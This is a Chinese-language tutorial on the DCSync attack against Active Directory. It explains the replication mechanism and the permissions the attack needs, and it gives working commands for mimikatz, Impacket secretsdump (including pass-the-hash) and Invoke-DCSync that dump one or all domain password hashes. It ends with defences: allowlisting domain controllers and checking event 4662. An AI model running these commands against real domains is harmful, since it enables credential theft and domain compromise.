DCSync 攻击
背景
2015 年 8 月,Benjamin Delpy(Mimikatz 的作者)和 Vincent Le Toux 发布了新版本的 Mimikatz,新增加了 DCSync 功能。模仿一个域控制器 DC,从真实的域控制器中请求获取数据,例如账号的口令散列值等数据。
DCSync 之前,获取域的账号口令信息,需要登录域服务器,在域服务器上运行代码才可以获取。而DCSync 的最大特点,在于不用登录域服务器,即可远程通过域数据同步复制的方式获得想要的用户口令信息。
注意:
DCSync 攻击的对象如果是 RODC 域控制器,则会失效,因为 RODC 不能参与复制同步数据。
原理
本质就是利用 DC 间的数据同步复制。
- 发现网络中的目标域控制器
- 通过 DRS 服务的 GetNCChanges 接口发起数据同步请求,Directory Replication Service (DRS) Remote Protocol
Samba wiki 关于 GetNCChanges 的描述包括:
当一个 DC (成为客户端 DC)想从其他 DC (成为服务端 DC)获取数据时,客户端 DC 会向服务端 DC 发起一个 GetNCChanges 请求。回应的数据包括需要同步的数据。
如果需要同步的数据比较多,则会重复上述过程。毕竟每次回应的数据有限。
条件
某用户想要发起 DCSync 攻击,必须具备以下权限:
- Replicating Directory Changes (DS-Replication-Get-Changes)
- Replicating Directory Changes All (DS-Replication-Get-Changes-All)
- Replicating Directory Changes In Filtered Set
在默认情况下,只有 Administrators、Domain Controllers 和 Enterprise Domain Admins 组内的用户有权限使用 DCSync,但我们可以对域内普通用户添加 ACL (Access Control List) 实现普通用户也能调用 DCSync 功能。
攻击
mimikatz
# 导出指定用户
lsadump::dcsync /domain:rd.adsecurity.org /user:administrator
# 导出域内所有用户
lsadump::dcsync /domain:rd.adsecurity.org /all
secretsdump
secretsdump.py 是 Impacket 框架中的一个脚本,该脚本也可以通过 DCSync 技术导出域控制器上用户的哈希。
工具的原理是首先使用提供的用户登录凭据通过 smbexec 或者 wmiexec 远程连接至域控制器并获得高权限,进而从注册表中导出本地帐户的哈希,同时通过 Dcsync 或从 NTDS.dit 文件中导出所有域用户的哈希。
优点是支持从域外的计算机连接至域控制器。
# 获取指定用户的 hash
python3 secretsdump.py domain/<username for DCSync>:password@<dc-ip> -dc-ip <dc-ip> -just-dc-user <username for DCSync>
# 获取所有域用户 hash
python3 secretsdump.py domain/<username for DCSync>:password@<dc-ip>
# 也支持哈希传递
python secretsdump.py domain/username@ip -hashes LM HASH:NT HASH
PowerShell Invoke-DCSync
https://gist.github.com/monoxgas/9d238accd969550136db#file-invoke-dcsync-ps1
该脚本通过 Invoke-ReflectivePEinjection 调用 mimikatz.dll 中的 DCSync 功能。
Import-Module .\Invoke-DCSync.ps1
# 导出域内指定用户的哈希
Invoke-DCSync -DumpForest -Users @("administrator") | ft -wrap -autosize
# 导出域内所有用户的哈希值
Invoke-DCSync -DumpForest | ft -wrap -autosize
防御
网络流量
最好的防御方法是给域控制器设置白名单。在域内,域控制器的数量、IP 地址、MAC 地址是非常明确清晰的资产,将这些资产设置在允许同步的白名单内。非白名单的 IP 不允许发生数据同步。
获取域内所有 IP 的脚本:
PowerShell:Get-ADDomainController -filter * | select IPv4Address
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().DomainControllers | select IPAddress
事后系统日志
在 windows 日志 4662 可以清楚看到某用户使用DS-Replication-GetChanges(GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
和DS-Replication-Get-Changes-All(1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
这两条 ACL 权限向域控发起目录服务访问请求,从而 dump 域内 hash。